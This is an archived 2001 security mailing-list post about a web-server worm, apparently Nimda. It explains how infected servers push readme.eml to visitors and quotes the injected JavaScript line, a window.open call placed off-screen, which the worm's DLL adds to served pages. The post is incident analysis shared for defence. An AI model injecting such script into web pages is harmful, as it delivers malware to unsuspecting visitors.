Security Incidents mailing list archives
Some more details on the worm
From: "Davis, Matt" <matt.davis () countryfinancial com>
Date: Tue, 18 Sep 2001 11:44:07 -0500
When pages are served up by an infected server, it looks as though readme.eml is 'attached' to them. The server attempts to get the client to open them through the following bit of code (from the .dll file): <script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script> According to Slashdot, this causes the file to be automatically opened and executed by the client. I haven't been able to confirm or deny that (but if someone can, please do). Regards, Matt -- Matt Davis, MCP Intermediate Client Server Business Support Analyst COUNTRY(SM) Insurance & Financial Services 309-821-6288 mailto:matt.davis () countryfinancial com ---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com
Current thread:
- Some more details on the worm Davis, Matt (Sep 18)
- Re: [unisog] Some more details on the worm Gary Flynn (Sep 18)
- <Possible follow-ups>
- RE: Some more details on the worm Steiner, Michael (Sep 18)